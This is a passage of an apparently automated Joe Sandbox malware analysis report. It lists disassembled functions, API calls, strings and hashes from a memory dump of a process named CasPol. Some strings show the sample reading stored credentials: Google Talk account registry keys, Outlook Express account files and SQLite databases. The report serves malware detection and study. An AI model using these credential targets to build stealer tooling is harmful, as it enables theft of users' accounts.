                                                                                                                                                                  • memcpy.MSVCRT(00000000,00000001), ref: 00408EBE
                                                                                                                                                                    • Part of subcall function 00408D34: ??2@YAPAXI@Z.MSVCRT ref: 00408D5C
                                                                                                                                                                    • Part of subcall function 00408D34: ??2@YAPAXI@Z.MSVCRT ref: 00408D7A
                                                                                                                                                                    • Part of subcall function 00408D34: ??2@YAPAXI@Z.MSVCRT ref: 00408D98
                                                                                                                                                                    • Part of subcall function 00408D34: ??2@YAPAXI@Z.MSVCRT ref: 00408DA8
                                                                                                                                                                  Strings
                                                                                                                                                                  • <html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>, xrefs: 00408DCA
                                                                                                                                                                  • strings, xrefs: 00408E27
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@$LoadString_itoa_mbscpymemcpystrlen
                                                                                                                                                                  • String ID: <html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>$strings
                                                                                                                                                                  • API String ID: 4036804644-4125592482
                                                                                                                                                                  • Opcode ID: 93499d40d0ac09f03a262576db3bd02ec7d22a5ce3c652b96661fe7e7ae87012
                                                                                                                                                                  • Instruction ID: 8088189cea062d7f30cfe1d816b9e84d6c9af13e32ba145f50863190e1f773ff
                                                                                                                                                                  • Opcode Fuzzy Hash: 93499d40d0ac09f03a262576db3bd02ec7d22a5ce3c652b96661fe7e7ae87012
                                                                                                                                                                  • Instruction Fuzzy Hash: 4B3170B1101722AFD715DB15ED41E733766E7803067124A3FE981972A3CB39E8A1CB9E
                                                                                                                                                                  Function 00410863 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 460 410863-41088b UuidFromStringA * 2 461 4108dd 460->461 462 41088d-41088f 460->462 463 4108df-4108e2 461->463 462->461 464 410891-4108aa call 410827 462->464 466 4108af-4108b1 464->466 466->461 467 4108b3-4108b9 466->467 468 4108bb-4108bd 467->468 469 4108be-4108db memcpy CoTaskMemFree 467->469 468->469 469->463
                                                                                                                                                                  APIs
                                                                                                                                                                  • UuidFromStringA.RPCRT4(5e7e8100-9138-11d1-945a-00c04fc308ff,?), ref: 0041087A
                                                                                                                                                                  • UuidFromStringA.RPCRT4(00000000-0000-0000-0000-000000000000,?), ref: 00410887
                                                                                                                                                                  • memcpy.MSVCRT(?,?,?,?,?,?,?,?), ref: 004108C3
                                                                                                                                                                  • CoTaskMemFree.OLE32(?), ref: 004108D2
                                                                                                                                                                  Strings
                                                                                                                                                                  • 5e7e8100-9138-11d1-945a-00c04fc308ff, xrefs: 00410875
                                                                                                                                                                  • 00000000-0000-0000-0000-000000000000, xrefs: 00410882
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FromStringUuid$FreeTaskmemcpy
                                                                                                                                                                  • String ID: 00000000-0000-0000-0000-000000000000$5e7e8100-9138-11d1-945a-00c04fc308ff
                                                                                                                                                                  • API String ID: 1640410171-3316789007
                                                                                                                                                                  • Opcode ID: 22d987936c379f2ddbe1f4d72e7ed5a7e1d5b1ee58518d6b198fa6640511f7ba
                                                                                                                                                                  • Instruction ID: 2d05171d55a2aa7530ad5e51965ca7b7e6a6868cf32f938cfe5ee3e9f977ce1c
                                                                                                                                                                  • Opcode Fuzzy Hash: 22d987936c379f2ddbe1f4d72e7ed5a7e1d5b1ee58518d6b198fa6640511f7ba
                                                                                                                                                                  • Instruction Fuzzy Hash: BD016D7690412DBADF01AE95CD40EEB7BACEF49354F044123FD15E6150E6B8EA84CBE4
                                                                                                                                                                  Function 00444196 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00406D01: CreateFileA.KERNELBASE(eBD,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00406D13
                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,?,00000000,ACD,00444265,?,?,*.oeaccount,ACD,?,00000104), ref: 004441B0
                                                                                                                                                                  • ??2@YAPAXI@Z.MSVCRT ref: 004441C2
                                                                                                                                                                  • SetFilePointer.KERNELBASE(00000000,00000002,00000000,00000000,?), ref: 004441D1
                                                                                                                                                                    • Part of subcall function 00407560: ReadFile.KERNELBASE(00000000,?,004441E4,00000000,00000000), ref: 00407577
                                                                                                                                                                    • Part of subcall function 00444059: wcslen.MSVCRT ref: 0044406C
                                                                                                                                                                    • Part of subcall function 00444059: ??2@YAPAXI@Z.MSVCRT ref: 00444075
                                                                                                                                                                    • Part of subcall function 00444059: WideCharToMultiByte.KERNEL32(00000000,00000000,004441FB,000000FF,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,004441FB,?,00000000), ref: 0044408E
                                                                                                                                                                    • Part of subcall function 00444059: strlen.MSVCRT ref: 004440D1
                                                                                                                                                                    • Part of subcall function 00444059: memcpy.MSVCRT(?,00000000,004441FB), ref: 004440EB
                                                                                                                                                                    • Part of subcall function 00444059: ??3@YAXPAX@Z.MSVCRT(00000000,004441FB,?,00000000), ref: 0044417E
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(00000000,?,00000000), ref: 004441FC
                                                                                                                                                                  • CloseHandle.KERNELBASE(?), ref: 00444206
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$??2@??3@$ByteCharCloseCreateHandleMultiPointerReadSizeWidememcpystrlenwcslen
                                                                                                                                                                  • String ID: ACD
                                                                                                                                                                  • API String ID: 1886237854-620537770
                                                                                                                                                                  • Opcode ID: e6911fb76e44905f99aae04da62e88cbef3e0e1df9b19c178b82a06b9eab0b64
                                                                                                                                                                  • Instruction ID: 993b87d0760cedec04f170bc8e4db420e9372e17061e8bf8474e84fbc22352e0
                                                                                                                                                                  • Opcode Fuzzy Hash: e6911fb76e44905f99aae04da62e88cbef3e0e1df9b19c178b82a06b9eab0b64
                                                                                                                                                                  • Instruction Fuzzy Hash: 9201D836401248BEF7106F75AC8ED9B7BACEF96368710812BF854971A1DA359C14CA64
                                                                                                                                                                  Function 0040CCD7 Relevance: 9.1, APIs: 6, Instructions: 71windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@$DeleteIconLoadObject_mbscpymemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2054149589-0
                                                                                                                                                                  • Opcode ID: ac2346bdc6bf8c69db932d73876581c2cd712649df4ebdee0f030b2719307f74
                                                                                                                                                                  • Instruction ID: e49e2262ea613e2b532621416bf92f05b9d60d1a181aada648b692035ce2a44d
                                                                                                                                                                  • Opcode Fuzzy Hash: ac2346bdc6bf8c69db932d73876581c2cd712649df4ebdee0f030b2719307f74
                                                                                                                                                                  • Instruction Fuzzy Hash: C921A1B0900360DBDB10DF749DC97897BA8EB40B04F1405BBED08FF286D7B895408BA8
                                                                                                                                                                  Function 004085D2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 004082CD: memset.MSVCRT ref: 0040832F
                                                                                                                                                                    • Part of subcall function 004082CD: memset.MSVCRT ref: 00408343
                                                                                                                                                                    • Part of subcall function 004082CD: memset.MSVCRT ref: 0040835F
                                                                                                                                                                    • Part of subcall function 004082CD: memset.MSVCRT ref: 00408376
                                                                                                                                                                    • Part of subcall function 004082CD: GetComputerNameA.KERNEL32(?,?), ref: 00408398
                                                                                                                                                                    • Part of subcall function 004082CD: GetUserNameA.ADVAPI32(?,?), ref: 004083AC
                                                                                                                                                                    • Part of subcall function 004082CD: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 004083CB
                                                                                                                                                                    • Part of subcall function 004082CD: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 004083E0
                                                                                                                                                                    • Part of subcall function 004082CD: strlen.MSVCRT ref: 004083E9
                                                                                                                                                                    • Part of subcall function 004082CD: strlen.MSVCRT ref: 004083F8
                                                                                                                                                                    • Part of subcall function 00410A9C: RegOpenKeyExA.KERNEL32(00401C4C,00401C4C,00000000,00020019,?,00401C4C,?,?,?), ref: 00410AAF
                                                                                                                                                                  • memset.MSVCRT ref: 00408620
                                                                                                                                                                    • Part of subcall function 00410B62: RegEnumKeyExA.KERNEL32(00000000,?,?,000000FF,00000000,00000000,00000000,?,?,00000000), ref: 00410B85
                                                                                                                                                                  • memset.MSVCRT ref: 00408671
                                                                                                                                                                  • RegCloseKey.ADVAPI32(?,?,?), ref: 004086AF
                                                                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 004086D6
                                                                                                                                                                  Strings
                                                                                                                                                                  • Software\Google\Google Talk\Accounts, xrefs: 004085F1
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$ByteCharCloseMultiNameWidestrlen$ComputerEnumOpenUser
                                                                                                                                                                  • String ID: Software\Google\Google Talk\Accounts
                                                                                                                                                                  • API String ID: 1366857005-1079885057
                                                                                                                                                                  • Opcode ID: e382b87db7f0bd43b4e3522d782a37f7f61fb274bdede134f0936f9282285683
                                                                                                                                                                  • Instruction ID: c9a55fd20ea1a9e1148d2ba128c2c272dfe10edd9ec9a97c612e1cc238572be2
                                                                                                                                                                  • Opcode Fuzzy Hash: e382b87db7f0bd43b4e3522d782a37f7f61fb274bdede134f0936f9282285683
                                                                                                                                                                  • Instruction Fuzzy Hash: 6E2181B140830AAEE610EF51DD42EAFB7DCEF94344F00083EB984D1192E675D95D9BAB
                                                                                                                                                                  Function 00410DBB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00410D0E: LoadLibraryA.KERNEL32(shell32.dll), ref: 00410D1C
                                                                                                                                                                    • Part of subcall function 00410D0E: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathA), ref: 00410D31
                                                                                                                                                                  • SHGetSpecialFolderPathA.SHELL32(00000000,00000000,0000001A,00000000,00000104), ref: 00410DF2
                                                                                                                                                                  • memset.MSVCRT ref: 00410E10
                                                                                                                                                                  • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000104), ref: 00410E79
                                                                                                                                                                  • _mbscpy.MSVCRT(00000000,?,?,?,?,?,?,00000104), ref: 00410E87
                                                                                                                                                                    • Part of subcall function 004070AE: GetVersionExA.KERNEL32(0045A3B0,0000001A,00410DD9,00000104), ref: 004070C8
                                                                                                                                                                  Strings
                                                                                                                                                                  • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00410E2B, 00410E3B
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressCloseFolderLibraryLoadPathProcSpecialVersion_mbscpymemset
                                                                                                                                                                  • String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
                                                                                                                                                                  • API String ID: 3929982141-2036018995
                                                                                                                                                                  • Opcode ID: 7ac12f80f2b375b89f7afb4171d908dc2817b99221bb223db89aef840bd4f41a
                                                                                                                                                                  • Instruction ID: 345612a4203e2947e26158410096d7c3d27216bde768142914c78e2e12d87323
                                                                                                                                                                  • Opcode Fuzzy Hash: 7ac12f80f2b375b89f7afb4171d908dc2817b99221bb223db89aef840bd4f41a
                                                                                                                                                                  • Instruction Fuzzy Hash: 89110D71C40318EBEB20B6D59C86EEF77ACDB14304F1404A7F555A2112E7BC9ED8C69A
                                                                                                                                                                  Function 0040BA28 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Cursor_mbsicmpqsort
                                                                                                                                                                  • String ID: /nosort$/sort
                                                                                                                                                                  • API String ID: 882979914-1578091866
                                                                                                                                                                  • Opcode ID: eeec834885b89caefbd260ac574d55a400450caca1ca348474599114d02fe8b5
                                                                                                                                                                  • Instruction ID: 8a1fc52e493d51bfa0df36ad286e8752cb28bf69c391dd95ac0f49afa8242728
                                                                                                                                                                  • Opcode Fuzzy Hash: eeec834885b89caefbd260ac574d55a400450caca1ca348474599114d02fe8b5
                                                                                                                                                                  • Instruction Fuzzy Hash: 2D2192B1704601EFD719AF75C880A69B7A9FF48318B10027EF419A7291CB39BC12CBD9
                                                                                                                                                                  Function 004109CF Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 004109F7
                                                                                                                                                                    • Part of subcall function 004075CD: sprintf.MSVCRT ref: 00407605
                                                                                                                                                                    • Part of subcall function 004075CD: memcpy.MSVCRT(?,00000000,00000003,00000000,%2.2X ,?), ref: 00407618
                                                                                                                                                                  • WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 00410A1B
                                                                                                                                                                  • memset.MSVCRT ref: 00410A32
                                                                                                                                                                  • GetPrivateProfileStringA.KERNEL32(?,?,0044C52F,?,00002000,?), ref: 00410A50
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: PrivateProfileStringmemset$Writememcpysprintf
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3143880245-0
                                                                                                                                                                  • Opcode ID: 06440367014e030cd30049a245fb0cc3fb8be964b179c0619a4e1c6a0770dea7
                                                                                                                                                                  • Instruction ID: 950c872411b2f2d44c5e3370b52dcf3132a88c3cdc41bb294f16927293e6b240
                                                                                                                                                                  • Opcode Fuzzy Hash: 06440367014e030cd30049a245fb0cc3fb8be964b179c0619a4e1c6a0770dea7
                                                                                                                                                                  • Instruction Fuzzy Hash: A401A172804319BBEF119F50DC86EDB7B7CEF05344F0000A6F604A2052E635AA64CBA9
                                                                                                                                                                  Function 00408D34 Relevance: 5.0, APIs: 4, Instructions: 36COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1033339047-0
                                                                                                                                                                  • Opcode ID: 13d41e296071d90ab44a737b93fda326391e3e8b074f3b81c3e25c1d737bd7ac
                                                                                                                                                                  • Instruction ID: b7305a6f8e60e4354fc193aeb8e5872e67636dbc7b7f4d43fc505f02bd19535d
                                                                                                                                                                  • Opcode Fuzzy Hash: 13d41e296071d90ab44a737b93fda326391e3e8b074f3b81c3e25c1d737bd7ac
                                                                                                                                                                  • Instruction Fuzzy Hash: EEF031F05433615EEB559F34ED0672536A4E784302F024B3EE2059A2E6EB78D4908B09
                                                                                                                                                                  Function 00402A14 Relevance: 4.5, APIs: 3, Instructions: 49registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00402A34
                                                                                                                                                                    • Part of subcall function 00410B62: RegEnumKeyExA.KERNEL32(00000000,?,?,000000FF,00000000,00000000,00000000,?,?,00000000), ref: 00410B85
                                                                                                                                                                  • RegCloseKey.KERNEL32(?,?,?), ref: 00402A7A
                                                                                                                                                                  • RegCloseKey.KERNEL32 ref: 00402A95
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Close$Enummemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1615280680-0
                                                                                                                                                                  • Opcode ID: a95c34967b0cb9b80c80469a4993c45ab25de0f8a69c3d9d5225f488b7e1c4ba
                                                                                                                                                                  • Instruction ID: 4e227b58271400dae14a407a15e496f509ceac9baab3320f2be5fe13b191b239
                                                                                                                                                                  • Opcode Fuzzy Hash: a95c34967b0cb9b80c80469a4993c45ab25de0f8a69c3d9d5225f488b7e1c4ba
                                                                                                                                                                  • Instruction Fuzzy Hash: D10179B590000CFFEB21EF51CD81EEA776DDF50388F100076BA84A1051E6759E959A64
                                                                                                                                                                  Function 00406F30 Relevance: 3.8, APIs: 3, Instructions: 38COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • malloc.MSVCRT ref: 00406F4C
                                                                                                                                                                  • memcpy.MSVCRT(00000000,00000000,?,00000000,?,004045BE,00000001,?,?,00000000,00401B21,?), ref: 00406F64
                                                                                                                                                                  • free.MSVCRT ref: 00406F6D
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: freemallocmemcpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3056473165-0
                                                                                                                                                                  • Opcode ID: a96fb65c017a86587ba071467795d458f8ca9669e817bb347d51b960c43a4168
                                                                                                                                                                  • Instruction ID: 20c18abb4fba39fec419649699297209b7413d51c31022bf8d4f5bc21a778af6
                                                                                                                                                                  • Opcode Fuzzy Hash: a96fb65c017a86587ba071467795d458f8ca9669e817bb347d51b960c43a4168
                                                                                                                                                                  • Instruction Fuzzy Hash: 39F0E9726092235FD7089E7AB881D0BB3ADEF94324711482FF445E7281D738EC60C6A8
                                                                                                                                                                  Function 00410B1E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 28registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00410A9C: RegOpenKeyExA.KERNEL32(00401C4C,00401C4C,00000000,00020019,?,00401C4C,?,?,?), ref: 00410AAF
                                                                                                                                                                    • Part of subcall function 00410ADD: RegQueryValueExA.KERNEL32(?,?,00000000,?,00401C6A,?,?,?,?,00401C6A,?,?,?), ref: 00410AF8
                                                                                                                                                                  • RegCloseKey.KERNEL32(000003FF,?,?,?,?,00000000,000003FF), ref: 00410B57
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseOpenQueryValue
                                                                                                                                                                  • String ID: sqlite3.dll
                                                                                                                                                                  • API String ID: 3677997916-1155512374
                                                                                                                                                                  • Opcode ID: 8e969e5ca9bf6096602a78be3d4e5059fdca8f737fa6ec707583d0e92d73378d
                                                                                                                                                                  • Instruction ID: 87b963fc64edc678a4f0440c700721264c86d0e3755c9c93a3ce53f579e10251
                                                                                                                                                                  • Opcode Fuzzy Hash: 8e969e5ca9bf6096602a78be3d4e5059fdca8f737fa6ec707583d0e92d73378d
                                                                                                                                                                  • Instruction Fuzzy Hash: 3DE0C972A00119BBDF11AF91DD06ADA7BA9EF14298B000061FD0591221E776DEA4EAD4
                                                                                                                                                                  Function 00406D01 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateFileA.KERNELBASE(eBD,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00406D13
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CreateFile
                                                                                                                                                                  • String ID: eBD
                                                                                                                                                                  • API String ID: 823142352-44267735
                                                                                                                                                                  • Opcode ID: 245fd492edc90e6f7beb3f7fe0fc2542e4d9025ddba3e970a97606beca3aa0ab
                                                                                                                                                                  • Instruction ID: a89d01311c626acd6708100a1c920bed7e48ab8185d3fa7f8c0eae74851e3e32
                                                                                                                                                                  • Opcode Fuzzy Hash: 245fd492edc90e6f7beb3f7fe0fc2542e4d9025ddba3e970a97606beca3aa0ab
                                                                                                                                                                  • Instruction Fuzzy Hash: 10C012B0250300BEFF214F10EC46F37355DE740700F300424BE00F40E1C1A14D10C928
                                                                                                                                                                  Function 0044B3CF Relevance: 3.1, APIs: 2, Instructions: 100COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ProtectVirtual
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 544645111-0
                                                                                                                                                                  • Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                                                                                                                                                                  • Instruction ID: 9d5022db8ba3b04779ac2e9664088e7462d9cf1087a2f4409b49694314ac1291
                                                                                                                                                                  • Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                                                                                                                                                                  • Instruction Fuzzy Hash: FB21F7114496816FFB218BB84C017B67BD8DB13364F19469BE184CB243D76CD85693FA
                                                                                                                                                                  Function 0040CE70 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 72COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00401E69: memset.MSVCRT ref: 00401E8B
                                                                                                                                                                    • Part of subcall function 00401E69: strlen.MSVCRT ref: 00401EA4
                                                                                                                                                                    • Part of subcall function 00401E69: strlen.MSVCRT ref: 00401EB2
                                                                                                                                                                    • Part of subcall function 00401E69: strlen.MSVCRT ref: 00401EF8
                                                                                                                                                                    • Part of subcall function 00401E69: strlen.MSVCRT ref: 00401F06
                                                                                                                                                                  • _strcmpi.MSVCRT ref: 0040CEC3
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: strlen$_strcmpimemset
                                                                                                                                                                  • String ID: /stext
                                                                                                                                                                  • API String ID: 520177685-3817206916
                                                                                                                                                                  • Opcode ID: 8aa79a490ab9c6e021e7ced4863df28004c69c197a86612b5f6291033182a9ac
                                                                                                                                                                  • Instruction ID: 693fdb5656bfadad22d3d4febeb48e05c11e25f360cf1d4a61822c7fe8fbaaaa
                                                                                                                                                                  • Opcode Fuzzy Hash: 8aa79a490ab9c6e021e7ced4863df28004c69c197a86612b5f6291033182a9ac
                                                                                                                                                                  • Instruction Fuzzy Hash: 5B210C71614112DFC3589B39C8C1966B3A9BF45314B15427FA91AAB392C738EC119BC9
                                                                                                                                                                  Function 0044B40E Relevance: 3.1, APIs: 2, Instructions: 65COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ProtectVirtual
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 544645111-0
                                                                                                                                                                  • Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                                                                                                                                                                  • Instruction ID: 5df47aada64e755ddaac71019e2cddcac14d14db73bdb0f929895f2225ac57a9
                                                                                                                                                                  • Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                                                                                                                                                                  • Instruction Fuzzy Hash: DB012D01545A4179FF21AAB50C02ABB5F8CDA23364B145B4BF750CB293DB5CC90693FE
                                                                                                                                                                  Function 00402B22 Relevance: 3.1, APIs: 2, Instructions: 59registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00402B44
                                                                                                                                                                    • Part of subcall function 00410B62: RegEnumKeyExA.KERNEL32(00000000,?,?,000000FF,00000000,00000000,00000000,?,?,00000000), ref: 00410B85
                                                                                                                                                                  • RegCloseKey.ADVAPI32 ref: 00402BBD
                                                                                                                                                                    • Part of subcall function 00406F06: strlen.MSVCRT ref: 00406F0B
                                                                                                                                                                    • Part of subcall function 00406F06: memcpy.MSVCRT(?,00401CA1,00000000,00000000,00401CA1,00000001), ref: 00406F20
                                                                                                                                                                    • Part of subcall function 00410A9C: RegOpenKeyExA.KERNEL32(00401C4C,00401C4C,00000000,00020019,?,00401C4C,?,?,?), ref: 00410AAF
                                                                                                                                                                    • Part of subcall function 00402A9D: memset.MSVCRT ref: 00402ABC
                                                                                                                                                                    • Part of subcall function 00402A9D: RegCloseKey.ADVAPI32 ref: 00402B17
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Closememset$EnumOpenmemcpystrlen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1880195650-0
                                                                                                                                                                  • Opcode ID: 5347bd042121d238431eb3b74689eb21bcf5dbb0349685f5868c10f604f2f03d
